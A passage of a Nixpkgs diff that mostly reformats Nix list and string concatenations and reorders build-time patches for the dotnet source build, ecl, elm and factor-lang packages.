-      # CSC : error AD0001: Analyzer 'Microsoft.NetCore.CSharp.Analyzers.Runtime.CSharpDetectPreviewFeatureAnalyzer' threw an exception of type 'System.NullReferenceException' with message 'Object reference not set to an instance of an object.'.
-      # possibly related to https://github.com/dotnet/runtime/issues/90356
+      # https://github.com/dotnet/runtime/pull/98559#issuecomment-1965338627
       xmlstarlet ed \
         --inplace \
         -s //Project -t elem -n PropertyGroup \
-        -s \$prev -t elem -n NoWarn -v '$(NoWarn);AD0001' \
-        src/source-build-reference-packages/src/referencePackages/Directory.Build.props
+        -s \$prev -t elem -n NoWarn -v '$(NoWarn);CS9216' \
+        src/runtime/Directory.Build.props
 
-      # https://github.com/microsoft/ApplicationInsights-dotnet/issues/2848
-      xmlstarlet ed \
-        --inplace \
-        -u //_:Project/_:PropertyGroup/_:BuildNumber -v 0 \
-        src/source-build-externals/src/${lib.optionalString (lib.versionAtLeast version "10") "repos/src/"}application-insights/.props/_GlobalStaticVersion.props
-
-      # this fixes compile errors with clang 15 (e.g. darwin)
+      # https://github.com/dotnet/source-build/issues/3131#issuecomment-2030215805
       substituteInPlace \
-        src/runtime/src/native/libs/CMakeLists.txt \
-        --replace-fail 'add_compile_options(-Weverything)' 'add_compile_options(-Wall)'
+        src/aspnetcore/eng/Dependencies.props \
+        --replace-fail \
+        "'\$(DotNetBuildSourceOnly)' == 'true'" \
+        "'\$(DotNetBuildSourceOnly)' == 'true' and \$(PortableBuild) == 'false'"
 
-      # strip native symbols in runtime
-      # see: https://github.com/dotnet/source-build/issues/2543
+      # https://github.com/dotnet/source-build/issues/4325
+      xmlstarlet ed \
+        --inplace \
+        -r '//Target[@Name="UnpackTarballs"]/Move' -v Copy \
+        eng/init-source-only.proj
+
+      # error: _FORTIFY_SOURCE requires compiling with optimization (-O) [-Werror,-W#warnings]
+      substituteInPlace \
+        src/runtime/src/coreclr/ilasm/CMakeLists.txt \
+        --replace-fail 'set_source_files_properties( prebuilt/asmparse.cpp PROPERTIES COMPILE_FLAGS "-O0" )' ""
+
+      # https://github.com/dotnet/source-build/issues/4444
+      xmlstarlet ed \
+        --inplace \
+        -s '//Project/Target/MSBuild[@Targets="Restore"]' \
+        -t attr -n Properties -v "NUGET_PACKAGES='\$(CurrentRepoSourceBuildPackageCache)'" \
+        src/aspnetcore/eng/Tools.props
+    ''
+    + lib.optionalString (lib.versionOlder version "10") ''
+      # patch packages installed from npm cache
+      xmlstarlet ed \
+        --inplace \
+        -s //Project -t elem -n Import \
+        -i \$prev -t attr -n Project -v "${./patch-npm-packages.proj}" \
+        src/aspnetcore/eng/DotNetBuild.props
+    ''
+  )
+  + lib.optionalString isLinux (
+    ''
+      substituteInPlace \
+        src/runtime/src/native/libs/System.Security.Cryptography.Native/opensslshim.c \
+        --replace-fail '"libssl.so"' '"${openssl.out}/lib/libssl.so"'
+
+      substituteInPlace \
+        src/runtime/src/native/libs/System.Net.Security.Native/pal_gssapi.c \
+        --replace-fail '"libgssapi_krb5.so.2"' '"${lib.getLib krb5}/lib/libgssapi_krb5.so.2"'
+
+      substituteInPlace \
+        src/runtime/src/native/libs/System.Globalization.Native/pal_icushim.c \
+        --replace-fail '"libicui18n.so"' '"${icu}/lib/libicui18n.so"' \
+        --replace-fail '"libicuuc.so"' '"${icu}/lib/libicuuc.so"'
+    ''
+    + lib.optionalString (lib.versionAtLeast version "9") ''
+      substituteInPlace \
+        src/runtime/src/native/libs/System.Globalization.Native/pal_icushim.c \
+        --replace-fail '#define VERSIONED_LIB_NAME_LEN 64' '#define VERSIONED_LIB_NAME_LEN 256'
+    ''
+    + lib.optionalString (lib.versionOlder version "9") ''
+      substituteInPlace \
+        src/runtime/src/native/libs/System.Globalization.Native/pal_icushim.c \
+        --replace-warn 'libicuucName[64]' 'libicuucName[256]' \
+        --replace-warn 'libicui18nName[64]' 'libicui18nName[256]'
+    ''
+  )
+  + lib.optionalString isDarwin (
+    ''
+      substituteInPlace \
+        src/runtime/src/native/libs/System.Globalization.Native/CMakeLists.txt \
+        --replace-fail '/usr/lib/libicucore.dylib' '${darwin.ICU}/lib/libicucore.dylib'
+
+      substituteInPlace \
+        src/runtime/src/installer/managed/Microsoft.NET.HostModel/HostModelUtils.cs \
+    ''
+    + lib.optionalString (lib.versionOlder version "10") "  src/sdk/src/Tasks/Microsoft.NET.Build.Tasks/targets/Microsoft.NET.Sdk.targets \\\n"
+    + ''
+        --replace-fail '/usr/bin/codesign' '${sigtool}/bin/codesign'
+
+      # fix: strip: error: unknown argument '-n'
+      substituteInPlace \
+        src/runtime/eng/native/functions.cmake \
+        --replace-fail ' -no_code_signature_warning' ""
+
+      # [...]/installer.singlerid.targets(434,5): error MSB3073: The command "pkgbuild [...]" exited with code 127
       xmlstarlet ed \
         --inplace \
         -s //Project -t elem -n PropertyGroup \
-        -s \$prev -t elem -n KeepNativeSymbols -v false \
+        -s \$prev -t elem -n SkipInstallerBuild -v true \
         src/runtime/Directory.Build.props
     ''
-    + lib.optionalString (lib.versionAtLeast version "9") (
-      ''
-        # repro.csproj fails to restore due to missing freebsd packages
-        xmlstarlet ed \
-          --inplace \
-          -s //Project -t elem -n PropertyGroup \
-          -s \$prev -t elem -n RuntimeIdentifiers -v ${targetRid} \
-          src/runtime/src/coreclr/tools/aot/ILCompiler/repro/repro.csproj
+    + lib.optionalString (lib.versionAtLeast version "10") ''
+      xmlstarlet ed \
+        --inplace \
+        -s //Project -t elem -n PropertyGroup \
+        -s \$prev -t elem -n SkipInstallerBuild -v true \
+        src/aspnetcore/Directory.Build.props
+    ''
+    + ''
+      # stop passing -sdk without a path
+      # stop using xcrun
+      # add -module-cache-path to fix swift errors, see sandboxProfile
+      # <unknown>:0: error: unable to open output file '/var/folders/[...]/C/clang/ModuleCache/[...]/SwiftShims-[...].pcm': 'Operation not permitted'
+      # <unknown>:0: error: could not build Objective-C module 'SwiftShims'
+      substituteInPlace \
+        src/runtime/src/native/libs/System.Security.Cryptography.Native.Apple/CMakeLists.txt \
+        --replace-fail ' -sdk ''${CMAKE_OSX_SYSROOT}' "" \
+        --replace-fail 'xcrun swiftc' 'swiftc -module-cache-path "$ENV{HOME}/.cache/module-cache"'
 
-        # https://github.com/dotnet/runtime/pull/98559#issuecomment-1965338627
-        xmlstarlet ed \
-          --inplace \
-          -s //Project -t elem -n PropertyGroup \
-          -s \$prev -t elem -n NoWarn -v '$(NoWarn);CS9216' \
-          src/runtime/Directory.Build.props
+      # fix: strip: error: unknown argument '-n'
+      substituteInPlace \
+        src/runtime/src/coreclr/nativeaot/BuildIntegration/Microsoft.NETCore.Native.targets \
+    ''
+    + lib.optionalString (lib.versionAtLeast version "9") "  src/runtime/src/native/managed/native-library.targets \\\n"
+    + ''
+        --replace-fail ' -no_code_signature_warning' ""
 
-        # https://github.com/dotnet/source-build/issues/3131#issuecomment-2030215805
-        substituteInPlace \
-          src/aspnetcore/eng/Dependencies.props \
-          --replace-fail \
-          "'\$(DotNetBuildSourceOnly)' == 'true'" \
-          "'\$(DotNetBuildSourceOnly)' == 'true' and \$(PortableBuild) == 'false'"
+      # ld: library not found for -ld_classic
+      substituteInPlace \
+        src/runtime/src/coreclr/nativeaot/BuildIntegration/Microsoft.NETCore.Native.Unix.targets \
+    ''
+    + lib.optionalString (lib.versionOlder version "10") "  src/runtime/src/coreclr/tools/aot/ILCompiler/ILCompiler.csproj \\\n"
+    + "  --replace-fail 'Include=\"-ld_classic\"' \"\"\n"
+    + lib.optionalString (lib.versionOlder version "9") ''
+      # [...]/build.proj(123,5): error : Did not find PDBs for the following SDK files:
+      # [...]/build.proj(123,5): error : sdk/8.0.102/System.Resources.Extensions.dll
+      # [...]/build.proj(123,5): error : sdk/8.0.102/System.CodeDom.dll
+      # [...]/build.proj(123,5): error : sdk/8.0.102/FSharp/System.Resources.Extensions.dll
+      # [...]/build.proj(123,5): error : sdk/8.0.102/FSharp/System.CodeDom.dll
+      substituteInPlace \
+        build.proj \
+        --replace-fail 'FailOnMissingPDBs="true"' 'FailOnMissingPDBs="false"'
 
-        # https://github.com/dotnet/source-build/issues/4325
-        xmlstarlet ed \
-          --inplace \
-          -r '//Target[@Name="UnpackTarballs"]/Move' -v Copy \
-          eng/init-source-only.proj
+      substituteInPlace \
+        src/runtime/src/mono/CMakeLists.txt \
+        --replace-fail '/usr/lib/libicucore.dylib' '${darwin.ICU}/lib/libicucore.dylib'
+    ''
+  );
 
-        # error: _FORTIFY_SOURCE requires compiling with optimization (-O) [-Werror,-W#warnings]
-        substituteInPlace \
-          src/runtime/src/coreclr/ilasm/CMakeLists.txt \
-          --replace-fail 'set_source_files_properties( prebuilt/asmparse.cpp PROPERTIES COMPILE_FLAGS "-O0" )' ""
+  prepFlags = [
+    "--no-artifacts"
+    "--no-prebuilts"
+    "--with-packages"
+    bootstrapSdk.artifacts
 
-        # https://github.com/dotnet/source-build/issues/4444
-        xmlstarlet ed \
-          --inplace \
-          -s '//Project/Target/MSBuild[@Targets="Restore"]' \
-          -t attr -n Properties -v "NUGET_PACKAGES='\$(CurrentRepoSourceBuildPackageCache)'" \
-          src/aspnetcore/eng/Tools.props
-      ''
-      + lib.optionalString (lib.versionOlder version "10") ''
-        # patch packages installed from npm cache
-        xmlstarlet ed \
-          --inplace \
-          -s //Project -t elem -n Import \
-          -i \$prev -t attr -n Project -v "${./patch-npm-packages.proj}" \
-          src/aspnetcore/eng/DotNetBuild.props
-      ''
-    )
-    + lib.optionalString isLinux (
-      ''
-        substituteInPlace \
-          src/runtime/src/native/libs/System.Security.Cryptography.Native/opensslshim.c \
-          --replace-fail '"libssl.so"' '"${openssl.out}/lib/libssl.so"'
-
-        substituteInPlace \
-          src/runtime/src/native/libs/System.Net.Security.Native/pal_gssapi.c \
-          --replace-fail '"libgssapi_krb5.so.2"' '"${lib.getLib krb5}/lib/libgssapi_krb5.so.2"'
-
-        substituteInPlace \
-          src/runtime/src/native/libs/System.Globalization.Native/pal_icushim.c \
-          --replace-fail '"libicui18n.so"' '"${icu}/lib/libicui18n.so"' \
-          --replace-fail '"libicuuc.so"' '"${icu}/lib/libicuuc.so"'
-      ''
-      + lib.optionalString (lib.versionAtLeast version "9") ''
-        substituteInPlace \
-          src/runtime/src/native/libs/System.Globalization.Native/pal_icushim.c \
-          --replace-fail '#define VERSIONED_LIB_NAME_LEN 64' '#define VERSIONED_LIB_NAME_LEN 256'
-      ''
-      + lib.optionalString (lib.versionOlder version "9") ''
-        substituteInPlace \
-          src/runtime/src/native/libs/System.Globalization.Native/pal_icushim.c \
-          --replace-warn 'libicuucName[64]' 'libicuucName[256]' \
-          --replace-warn 'libicui18nName[64]' 'libicui18nName[256]'
-      ''
-    )
-    + lib.optionalString isDarwin (
-      ''
-        substituteInPlace \
-          src/runtime/src/native/libs/System.Globalization.Native/CMakeLists.txt \
-          --replace-fail '/usr/lib/libicucore.dylib' '${darwin.ICU}/lib/libicucore.dylib'
-
-        substituteInPlace \
-          src/runtime/src/installer/managed/Microsoft.NET.HostModel/HostModelUtils.cs \
-      ''
-      + lib.optionalString (lib.versionOlder version "10") "  src/sdk/src/Tasks/Microsoft.NET.Build.Tasks/targets/Microsoft.NET.Sdk.targets \\\n"
-      + ''
-          --replace-fail '/usr/bin/codesign' '${sigtool}/bin/codesign'
-
-        # fix: strip: error: unknown argument '-n'
-        substituteInPlace \
-          src/runtime/eng/native/functions.cmake \
-          --replace-fail ' -no_code_signature_warning' ""
-
-        # [...]/installer.singlerid.targets(434,5): error MSB3073: The command "pkgbuild [...]" exited with code 127
-        xmlstarlet ed \
-          --inplace \
-          -s //Project -t elem -n PropertyGroup \
-          -s \$prev -t elem -n SkipInstallerBuild -v true \
-          src/runtime/Directory.Build.props
-      ''
-      + lib.optionalString (lib.versionAtLeast version "10") ''
-        xmlstarlet ed \
-          --inplace \
-          -s //Project -t elem -n PropertyGroup \
-          -s \$prev -t elem -n SkipInstallerBuild -v true \
-          src/aspnetcore/Directory.Build.props
-      ''
-      + ''
-        # stop passing -sdk without a path
-        # stop using xcrun
-        # add -module-cache-path to fix swift errors, see sandboxProfile
-        # <unknown>:0: error: unable to open output file '/var/folders/[...]/C/clang/ModuleCache/[...]/SwiftShims-[...].pcm': 'Operation not permitted'
-        # <unknown>:0: error: could not build Objective-C module 'SwiftShims'
-        substituteInPlace \
-          src/runtime/src/native/libs/System.Security.Cryptography.Native.Apple/CMakeLists.txt \
-          --replace-fail ' -sdk ''${CMAKE_OSX_SYSROOT}' "" \
-          --replace-fail 'xcrun swiftc' 'swiftc -module-cache-path "$ENV{HOME}/.cache/module-cache"'
-
-        # fix: strip: error: unknown argument '-n'
-        substituteInPlace \
-          src/runtime/src/coreclr/nativeaot/BuildIntegration/Microsoft.NETCore.Native.targets \
-      ''
-      + lib.optionalString (lib.versionAtLeast version "9") "  src/runtime/src/native/managed/native-library.targets \\\n"
-      + ''
-          --replace-fail ' -no_code_signature_warning' ""
-
-        # ld: library not found for -ld_classic
-        substituteInPlace \
-          src/runtime/src/coreclr/nativeaot/BuildIntegration/Microsoft.NETCore.Native.Unix.targets \
-      ''
-      + lib.optionalString (lib.versionOlder version "10") "  src/runtime/src/coreclr/tools/aot/ILCompiler/ILCompiler.csproj \\\n"
-      + "  --replace-fail 'Include=\"-ld_classic\"' \"\"\n"
-      + lib.optionalString (lib.versionOlder version "9") ''
-        # [...]/build.proj(123,5): error : Did not find PDBs for the following SDK files:
-        # [...]/build.proj(123,5): error : sdk/8.0.102/System.Resources.Extensions.dll
-        # [...]/build.proj(123,5): error : sdk/8.0.102/System.CodeDom.dll
-        # [...]/build.proj(123,5): error : sdk/8.0.102/FSharp/System.Resources.Extensions.dll
-        # [...]/build.proj(123,5): error : sdk/8.0.102/FSharp/System.CodeDom.dll
-        substituteInPlace \
-          build.proj \
-          --replace-fail 'FailOnMissingPDBs="true"' 'FailOnMissingPDBs="false"'
-
-        substituteInPlace \
-          src/runtime/src/mono/CMakeLists.txt \
-          --replace-fail '/usr/lib/libicucore.dylib' '${darwin.ICU}/lib/libicucore.dylib'
-      ''
-    );
-
-  prepFlags =
-    [
-      "--no-artifacts"
-      "--no-prebuilts"
-      "--with-packages"
-      bootstrapSdk.artifacts
-
-    ]
-    # https://github.com/dotnet/source-build/issues/5286#issuecomment-3097872768
-    ++ lib.optional (lib.versionAtLeast version "10") "-p:SkipArcadeSdkImport=true";
+  ]
+  # https://github.com/dotnet/source-build/issues/5286#issuecomment-3097872768
+  ++ lib.optional (lib.versionAtLeast version "10") "-p:SkipArcadeSdkImport=true";
 
   configurePhase =
     let
@@ -395,22 +391,21 @@ stdenv.mkDerivation rec {
   # bash: warning: setlocale: LC_ALL: cannot change locale (en_US.UTF-8)
   LOCALE_ARCHIVE = lib.optionalString isLinux "${glibcLocales}/lib/locale/locale-archive";
 
-  buildFlags =
-    [
-      "--with-packages"
-      bootstrapSdk.artifacts
-      "--clean-while-building"
-      "--release-manifest"
-      releaseManifestFile
-    ]
-    ++ lib.optionals (lib.versionAtLeast version "9") [
-      "--source-build"
-    ]
-    ++ [
-      "--"
-      "-p:PortableBuild=true"
-    ]
-    ++ lib.optional (targetRid != buildRid) "-p:TargetRid=${targetRid}";
+  buildFlags = [
+    "--with-packages"
+    bootstrapSdk.artifacts
+    "--clean-while-building"
+    "--release-manifest"
+    releaseManifestFile
+  ]
+  ++ lib.optionals (lib.versionAtLeast version "9") [
+    "--source-build"
+  ]
+  ++ [
+    "--"
+    "-p:PortableBuild=true"
+  ]
+  ++ lib.optional (targetRid != buildRid) "-p:TargetRid=${targetRid}";
 
   buildPhase = ''
     runHook preBuild
diff --git a/pkgs/development/compilers/dotnet/wrapper.nix b/pkgs/development/compilers/dotnet/wrapper.nix
index a674d63e1218..2fcaa17f3c6a 100644
--- a/pkgs/development/compilers/dotnet/wrapper.nix
+++ b/pkgs/development/compilers/dotnet/wrapper.nix
@@ -38,15 +38,14 @@ stdenvNoCC.mkDerivation (finalAttrs: {
   src = unwrapped;
   dontUnpack = true;
 
-  setupHooks =
-    [
-      ./dotnet-setup-hook.sh
-    ]
-    ++ lib.optional (type == "sdk") (
-      replaceVars ./dotnet-sdk-setup-hook.sh {
-        inherit lndir xmlstarlet;
-      }
-    );
+  setupHooks = [
+    ./dotnet-setup-hook.sh
+  ]
+  ++ lib.optional (type == "sdk") (
+    replaceVars ./dotnet-sdk-setup-hook.sh {
+      inherit lndir xmlstarlet;
+    }
+  );
 
   propagatedSandboxProfile = toString unwrapped.__propagatedSandboxProfile;
 
@@ -111,12 +110,13 @@ stdenvNoCC.mkDerivation (finalAttrs: {
               propagatedSandboxProfile = toString sdk.__propagatedSandboxProfile;
               unpackPhase =
                 let
-                  unpackArgs =
-                    [ template ]
-                    ++ lib.optionals (lang != null) [
-                      "-lang"
-                      lang
-                    ];
+                  unpackArgs = [
+                    template
+                  ]
+                  ++ lib.optionals (lang != null) [
+                    "-lang"
+                    lang
+                  ];
                 in
                 ''
                   mkdir test
@@ -218,14 +218,13 @@ stdenvNoCC.mkDerivation (finalAttrs: {
               name = "aot";
               stdenv = if stdenv.hostPlatform.isDarwin then swiftPackages.stdenv else stdenv;
               usePackageSource = true;
-              buildInputs =
-                [
-                  zlib
-                ]
-                ++ lib.optional stdenv.hostPlatform.isDarwin [
-                  swiftPackages.swift
-                  darwin.ICU
-                ];
+              buildInputs = [
+                zlib
+              ]
+              ++ lib.optional stdenv.hostPlatform.isDarwin [
+                swiftPackages.swift
+                darwin.ICU
+              ];
               build = ''
                 dotnet restore -p:PublishAot=true
                 dotnet publish -p:PublishAot=true -o $out/bin
diff --git a/pkgs/development/compilers/ecl/16.1.2.nix b/pkgs/development/compilers/ecl/16.1.2.nix
index 8e5082a9defe..cceb45cce1e9 100644
--- a/pkgs/development/compilers/ecl/16.1.2.nix
+++ b/pkgs/development/compilers/ecl/16.1.2.nix
@@ -32,17 +32,16 @@ stdenv.mkDerivation rec {
     makeWrapper
     libtool
   ];
-  propagatedBuildInputs =
-    [
-      libffi
-      gmp
-      mpfr
-      gcc
-    ]
-    ++ lib.optionals useBoehmgc [
-      # replaces ecl's own gc which other packages can depend on, thus propagated
-      boehmgc
-    ];
+  propagatedBuildInputs = [
+    libffi
+    gmp
+    mpfr
+    gcc
+  ]
+  ++ lib.optionals useBoehmgc [
+    # replaces ecl's own gc which other packages can depend on, thus propagated
+    boehmgc
+  ];
 
   configureFlags = [
     (if threadSupport then "--enable-threads" else "--disable-threads")
@@ -50,7 +49,8 @@ stdenv.mkDerivation rec {
     "--with-gmp-libdir=${lib.getLib gmp}/lib"
     # -incdir, -libdir doesn't seem to be supported for libffi
     "--with-libffi-prefix=${lib.getDev libffi}"
-  ] ++ lib.optional (!noUnicode) "--enable-unicode";
+  ]
+  ++ lib.optional (!noUnicode) "--enable-unicode";
 
   patches = [
     (fetchpatch {
@@ -72,30 +72,29 @@ stdenv.mkDerivation rec {
 
   hardeningDisable = [ "format" ];
 
-  postInstall =
-    ''
-      sed -e 's/@[-a-zA-Z_]*@//g' -i $out/bin/ecl-config
-      wrapProgram "$out/bin/ecl" \
-        --prefix PATH ':' "${
-          lib.makeBinPath [
-            gcc # for the C compiler
-            gcc.bintools.bintools # for ar
-          ]
-        }" \
-    ''
-    # ecl 16.1.2 is too old to have -libdir for libffi and boehmgc, so we need to
-    # use NIX_LDFLAGS_BEFORE to make gcc find these particular libraries.
-    # Since it is missing even the prefix flag for boehmgc we also need to inject
-    # the correct -I flag via NIX_CFLAGS_COMPILE. Since we have access to it, we
-    # create the variables with suffixSalt (which seems to be necessary for
-    # NIX_CFLAGS_COMPILE even).
-    + lib.optionalString useBoehmgc ''
-      --prefix NIX_CFLAGS_COMPILE_${gcc.suffixSalt} ' ' "-I${lib.getDev boehmgc}/include" \
-      --prefix NIX_LDFLAGS_BEFORE_${gcc.bintools.suffixSalt} ' ' "-L${lib.getLib boehmgc}/lib" \
-    ''
-    + ''
-      --prefix NIX_LDFLAGS_BEFORE_${gcc.bintools.suffixSalt} ' ' "-L${lib.getLib libffi}/lib"
-    '';
+  postInstall = ''
+    sed -e 's/@[-a-zA-Z_]*@//g' -i $out/bin/ecl-config
+    wrapProgram "$out/bin/ecl" \
+      --prefix PATH ':' "${
+        lib.makeBinPath [
+          gcc # for the C compiler
+          gcc.bintools.bintools # for ar
+        ]
+      }" \
+  ''
+  # ecl 16.1.2 is too old to have -libdir for libffi and boehmgc, so we need to
+  # use NIX_LDFLAGS_BEFORE to make gcc find these particular libraries.
+  # Since it is missing even the prefix flag for boehmgc we also need to inject
+  # the correct -I flag via NIX_CFLAGS_COMPILE. Since we have access to it, we
+  # create the variables with suffixSalt (which seems to be necessary for
+  # NIX_CFLAGS_COMPILE even).
+  + lib.optionalString useBoehmgc ''
+    --prefix NIX_CFLAGS_COMPILE_${gcc.suffixSalt} ' ' "-I${lib.getDev boehmgc}/include" \
+    --prefix NIX_LDFLAGS_BEFORE_${gcc.bintools.suffixSalt} ' ' "-L${lib.getLib boehmgc}/lib" \
+  ''
+  + ''
+    --prefix NIX_LDFLAGS_BEFORE_${gcc.bintools.suffixSalt} ' ' "-L${lib.getLib libffi}/lib"
+  '';
 
   meta = with lib; {
     description = "Lisp implementation aiming to be small, fast and easy to embed";
diff --git a/pkgs/development/compilers/ecl/default.nix b/pkgs/development/compilers/ecl/default.nix
index f7abbf0df474..c937ad95afa4 100644
--- a/pkgs/development/compilers/ecl/default.nix
+++ b/pkgs/development/compilers/ecl/default.nix
@@ -38,18 +38,17 @@ stdenv.mkDerivation rec {
     texinfo
     makeWrapper
   ];
-  propagatedBuildInputs =
-    [
-      libffi
-      gmp
-      mpfr
-      cc
-      # replaces ecl's own gc which other packages can depend on, thus propagated
-    ]
-    ++ lib.optionals useBoehmgc [
-      # replaces ecl's own gc which other packages can depend on, thus propagated
-      boehmgc
-    ];
+  propagatedBuildInputs = [
+    libffi
+    gmp
+    mpfr
+    cc
+    # replaces ecl's own gc which other packages can depend on, thus propagated
+  ]
+  ++ lib.optionals useBoehmgc [
+    # replaces ecl's own gc which other packages can depend on, thus propagated
+    boehmgc
+  ];
 
   patches = [
     # https://gitlab.com/embeddable-common-lisp/ecl/-/merge_requests/1
@@ -59,19 +58,18 @@ stdenv.mkDerivation rec {
     })
   ];
 
-  configureFlags =
-    [
-      (if threadSupport then "--enable-threads" else "--disable-threads")
-      "--with-gmp-incdir=${lib.getDev gmp}/include"
-      "--with-gmp-libdir=${lib.getLib gmp}/lib"
-      "--with-libffi-incdir=${lib.getDev libffi}/include"
-      "--with-libffi-libdir=${lib.getLib libffi}/lib"
-    ]
-    ++ lib.optionals useBoehmgc [
-      "--with-libgc-incdir=${lib.getDev boehmgc}/include"
-      "--with-libgc-libdir=${lib.getLib boehmgc}/lib"
-    ]
-    ++ lib.optional (!noUnicode) "--enable-unicode";
+  configureFlags = [
+    (if threadSupport then "--enable-threads" else "--disable-threads")
+    "--with-gmp-incdir=${lib.getDev gmp}/include"
+    "--with-gmp-libdir=${lib.getLib gmp}/lib"
+    "--with-libffi-incdir=${lib.getDev libffi}/include"
+    "--with-libffi-libdir=${lib.getLib libffi}/lib"
+  ]
+  ++ lib.optionals useBoehmgc [
+    "--with-libgc-incdir=${lib.getDev boehmgc}/include"
+    "--with-libgc-libdir=${lib.getLib boehmgc}/lib"
+  ]
+  ++ lib.optional (!noUnicode) "--enable-unicode";
 
   hardeningDisable = [ "format" ];
 
diff --git a/pkgs/development/compilers/elm/lib/default.nix b/pkgs/development/compilers/elm/lib/default.nix
index 3b1197378322..4752fcd63d0b 100644
--- a/pkgs/development/compilers/elm/lib/default.nix
+++ b/pkgs/development/compilers/elm/lib/default.nix
@@ -46,17 +46,13 @@ let
   patchNpmElm =
     pkg:
     pkg.override (old: {
-      preRebuild =
-        (old.preRebuild or "")
-        + ''
-          rm node_modules/elm/install.js
-          echo "console.log('Nixpkgs\' version of Elm will be used');" > node_modules/elm/install.js
-        '';
-      postInstall =
-        (old.postInstall or "")
-        + ''
-          ln -sf ${elm}/bin/elm node_modules/elm/bin/elm
-        '';
+      preRebuild = (old.preRebuild or "") + ''
+        rm node_modules/elm/install.js
+        echo "console.log('Nixpkgs\' version of Elm will be used');" > node_modules/elm/install.js
+      '';
+      postInstall = (old.postInstall or "") + ''
+        ln -sf ${elm}/bin/elm node_modules/elm/bin/elm
+      '';
     });
 in
 {
diff --git a/pkgs/development/compilers/elm/packages/node/default.nix b/pkgs/development/compilers/elm/packages/node/default.nix
index 6e0f9c4055c4..eb94b614dac5 100644
--- a/pkgs/development/compilers/elm/packages/node/default.nix
+++ b/pkgs/development/compilers/elm/packages/node/default.nix
@@ -59,14 +59,12 @@ with elmLib;
     in
     patched.override (old: {
       inherit ESBUILD_BINARY_PATH;
-      preRebuild =
-        (old.preRebuild or "")
-        + ''
-          # This should not be needed (thanks to binwrap* being nooped) but for some reason it still needs to be done
-          # in case of just this package
-          # TODO: investigate, same as for elm-coverage below
-          sed 's/\"install\".*/\"install\":\"echo no-op\",/g' --in-place node_modules/elmi-to-json/package.json
-        '';
+      preRebuild = (old.preRebuild or "") + ''
+        # This should not be needed (thanks to binwrap* being nooped) but for some reason it still needs to be done
+        # in case of just this package
+        # TODO: investigate, same as for elm-coverage below
+        sed 's/\"install\".*/\"install\":\"echo no-op\",/g' --in-place node_modules/elmi-to-json/package.json
+      '';
     });
 
   elm-coverage =
@@ -75,23 +73,19 @@ with elmLib;
     in
     patched.override (old: {
       # Symlink Elm instrument binary
-      preRebuild =
-        (old.preRebuild or "")
-        + ''
-          # Noop custom installation script
-          sed 's/\"install\".*/\"install\":\"echo no-op\"/g' --in-place package.json
+      preRebuild = (old.preRebuild or "") + ''
+        # Noop custom installation script
+        sed 's/\"install\".*/\"install\":\"echo no-op\"/g' --in-place package.json
 
-          # This should not be needed (thanks to binwrap* being nooped) but for some reason it still needs to be done
-          # in case of just this package
-          # TODO: investigate
-          sed 's/\"install\".*/\"install\":\"echo no-op\",/g' --in-place node_modules/elmi-to-json/package.json
-        '';
-      postInstall =
-        (old.postInstall or "")
-        + ''
-          mkdir -p unpacked_bin
-          ln -sf ${elm-instrument}/bin/elm-instrument unpacked_bin/elm-instrument
-        '';
+        # This should not be needed (thanks to binwrap* being nooped) but for some reason it still needs to be done
+        # in case of just this package
+        # TODO: investigate
+        sed 's/\"install\".*/\"install\":\"echo no-op\",/g' --in-place node_modules/elmi-to-json/package.json
+      '';
+      postInstall = (old.postInstall or "") + ''
+        mkdir -p unpacked_bin
+        ln -sf ${elm-instrument}/bin/elm-instrument unpacked_bin/elm-instrument
+      '';
       meta =
         with lib;
         nodePkgs.elm-coverage.meta
diff --git a/pkgs/development/compilers/factor-lang/mk-factor-application.nix b/pkgs/development/compilers/factor-lang/mk-factor-application.nix
index 0aaa075d006b..eb2fad57c70a 100644
--- a/pkgs/development/compilers/factor-lang/mk-factor-application.nix
+++ b/pkgs/development/compilers/factor-lang/mk-factor-application.nix
@@ -85,7 +85,8 @@ in
     nativeBuildInputs = [
       makeWrapper
       (lib.hiPrio finalAttrs.wrapped-factor)
-    ] ++ attrs.nativeBuildInputs or [ ];
+    ]
+    ++ attrs.nativeBuildInputs or [ ];
 
     buildInputs = (lib.optional enableUI gdk-pixbuf) ++ attrs.buildInputs or [ ];
 
@@ -131,11 +132,13 @@ in
 
     passthru = {
       vocab = finalAttrs.src;
-    } // attrs.passthru or { };
+    }
+    // attrs.passthru or { };
 
     meta = {
       platforms = wrapped-factor.meta.platforms;
       mainProgram = finalAttrs.binName;
-    } // attrs.meta or { };
+    }
+    // attrs.meta or { };
   }
 )
diff --git a/pkgs/development/compilers/factor-lang/wrapper.nix b/pkgs/development/compilers/factor-lang/wrapper.nix
index 354eac944923..f0cb45c454ad 100644
--- a/pkgs/development/compilers/factor-lang/wrapper.nix
+++ b/pkgs/development/compilers/factor-lang/wrapper.nix
@@ -87,61 +87,60 @@ stdenv.mkDerivation (finalAttrs: {
 
   dontUnpack = true;
 
-  installPhase =
-    ''
-      runHook preInstall
-    ''
-    + optionalString guiSupport ''
-      # Set Gdk pixbuf loaders file to the one from the build dependencies here
-      unset GDK_PIXBUF_MODULE_FILE
-      # Defined in gdk-pixbuf setup hook
-      findGdkPixbufLoaders "${librsvg}"
-      makeWrapperArgs+=(--set GDK_PIXBUF_MODULE_FILE "$GDK_PIXBUF_MODULE_FILE")
-    ''
-    + ''
-      makeWrapperArgs+=(
-        --prefix LD_LIBRARY_PATH : /run/opengl-driver/lib:${lib.makeLibraryPath runtimeLibs}
-        --prefix PATH : ${lib.makeBinPath bins})
-      mkdir -p "$out/bin" "$out/share"
-      cp -r "${factor-unwrapped}/lib" "$out/"
-      cp -r "${factor-unwrapped}/share/emacs" "$out/share/"
-      chmod -R u+w "$out/lib" "$out/share"
-      (
-          cd ${vocabTree}
-          for f in "lib/factor/"* ; do
-              rm -r "$out/$f"
-              ln -s "${vocabTree}/$f" "$out/$f"
-          done
-      )
+  installPhase = ''
+    runHook preInstall
+  ''
+  + optionalString guiSupport ''
+    # Set Gdk pixbuf loaders file to the one from the build dependencies here
+    unset GDK_PIXBUF_MODULE_FILE
+    # Defined in gdk-pixbuf setup hook
+    findGdkPixbufLoaders "${librsvg}"
+    makeWrapperArgs+=(--set GDK_PIXBUF_MODULE_FILE "$GDK_PIXBUF_MODULE_FILE")
+  ''
+  + ''
+    makeWrapperArgs+=(
+      --prefix LD_LIBRARY_PATH : /run/opengl-driver/lib:${lib.makeLibraryPath runtimeLibs}
+      --prefix PATH : ${lib.makeBinPath bins})
+    mkdir -p "$out/bin" "$out/share"
+    cp -r "${factor-unwrapped}/lib" "$out/"
+    cp -r "${factor-unwrapped}/share/emacs" "$out/share/"
+    chmod -R u+w "$out/lib" "$out/share"
